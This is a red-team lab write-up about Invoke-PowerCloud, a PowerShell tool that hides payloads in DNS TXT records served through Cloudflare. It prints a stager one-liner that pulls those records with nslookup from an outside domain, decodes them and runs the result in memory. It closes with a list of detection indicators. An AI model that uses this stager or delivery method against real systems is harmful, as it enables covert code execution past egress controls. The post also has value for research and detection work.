Powershell Payload Delivery via DNS using Invoke-PowerCloud

This lab demos a tool or rather a Powershell script I have written to do what the title says.

Credits

Rushing to say that the tool Invoke-PowerCloud was heavily inspired by and based on the awesome work that Dominic Chell (@domchell) from MDSec had done with PowerDNS - go follow them and try out the tool if you are not doing so yet!

Not only that, I want to thank Dominic for taking his time to answer some of my questions regarding the PowerDNS, the setup and helping me troubleshoot it as I was having "some" issues getting the payload delivered to the target from the PowerDNS server.

...which eventually led me to Invoke-PowerCloud, so read on.

What is Invoke-PowerCloud?

Invoke-PowerCloud is a script that allows you to deliver a powershell payload using DNS TXT records to a target in an environment that is egress limited to DNS only.

How is Invoke-PowerCloud different from PowerDNS?

I assume you have read PowerShell DNS Delivery with PowerDNS which explains how PowerDNS works.

Invoke-PowerCloud works in a similar fashion, except for a couple of key differences, which may simplify the configuration process of your infrastructure to start delivering paylods via DNS. With PowerDNS you need:

  • a dedicated linux box with a public IP where you can run PowerDNS, so it can act as a DNS server

  • you also need multiple domain names to get the nameservers configured properly

With Invoke-PowerCloud you need:

  • a cloudflare.com account

  • a domain name whose DNS management is transferred to cloudflare

Cloudflare? eh?

The way the tool works is by performing the following high level steps:

  • Take the powershell payload file and base64 encode it

  • Divide the payload into chunks of 255 bytes

  • Create a DNS zone file with DNS TXT records representing each chunk of the payload data retrieved from the previous step

  • Send the generated DNS zone file to cloudflare using their APIs

  • Generate two stagers for use with authoritative NS/non-authoritative NS

  • Stager can then be executed on the victim system. The stager will recover the base64 chunks from the DNS TXT records and rebuild the original payload

  • Stager executes the payload in memory!

If you run the tool again to deliver another payload, the previous DNS TXT records will be deleted

Demo

One off Configuration

Remember - you need a cloudflare.com account for this to work. Assuming you have that, you need to edit the Invoke-PowerCloud as follows:

  1. your cloudflare API key, defined in the variable $Global:API_KEY

  2. your cloudflare email address, defined in the variable $Global:EMAIL

DNS Management

Secondly, you need to move the domain name which you are going to use for payload delivery to cloudflare. In this demo, I will use a domain I own redteam.me which is now managed by cloudflare:

Let's confirm redteam.me DNS is managed by cloudflare by issuing:

host -t ns redteam.me

Payload

Let's create a simple payload file - it will print a red message to the screen and open up a calc.exe:

payload.txt
Write-host -foregroundcolor red "This is our first payload using Invoke-
PowerCloud. As usual, let's pop the calc.exe"; Start-process calc.exe

Good to Go

We are now good to go - issue the below on your attacking system:

PS C:\tools\powercloud> . .\powercloud.ps1; Invoke-PowerCloud -FilePath .\payload.txt -Domain redteam.me -Verbose

The script will generate two stagers. One of them is shown here:

$b64=""; (1..1) | ForEach-Object { $b64+=(nslookup -q=txt "$_.redteam.me")[-1] }; iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64 -replace('\t|"',"")))))

Let's execute the stager on the victim system to get the payload delivered via DNS:

Animated Demo

Everything in action can be seen in the below gif:

Is Invoke-PowerCloud better than PowerDNS?

No. It just works slightly differently, but achieves the same end goal. Also note, that Cloudflare API rate limiting applies.

Detection

Let's deliver a PowerShell empire payload using DNS and see how the system reacts to this:

For those wondering about detection possibilities, the following is a list of signs (mix and match) that may qualify the host behaviour as suspicious and warrant a further investigation:

  • host "suddenly" bursted "many" DNS TXT requests to one domain

  • DNS queries follow the naming convention of 1, 2, 3, ..., N

  • majority of DNS answers contain TXT Lenght of 255 (trivial to change/randomize)

  • DNS answers are all TTL = 120 (trivial to change/randomize)

  • TXT data in DNS answer has no white spaces (easy to change)

  • host suddenly/in a short span of time spawned "many" nslookup processes

  • has the endpoint changed once the DNS lookups stopped? i.e new processes spawned?

Below is a snippet of the PCAP showing DNS traffic from the above demo - note the TXT Length and the data itself:

Spike of nslookup for a host in a short amount of time:

Below is a sample PCAP for your inspection:

Download

You can download or contribute to Invoke-PowerCloud here:

References